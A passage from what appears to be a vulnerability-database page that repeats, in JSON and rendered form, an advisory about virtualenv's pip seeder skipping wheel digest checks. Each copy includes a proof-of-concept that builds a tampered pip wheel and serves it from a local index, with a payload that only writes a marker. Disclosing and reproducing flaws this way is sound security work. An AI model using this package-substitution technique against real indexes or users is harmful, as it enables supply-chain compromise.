      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-conda-lock-CVE-2026-113717",
      "modified": "2026-11-19T08:45:29Z",
      "published": "2026-10-29T21:39:28Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "BIT-virtualenv-2026-113717",
        "CVE-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-HATCH-CVE-2026-113717 (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:41 – Updated: 2026-11-19 10:09 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.1",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "hatch",
            "purl": "pkg:brew/hatch"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.18.1_1"
                },
                {
                  "fixed": "1.18.1_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.1",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.1"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and 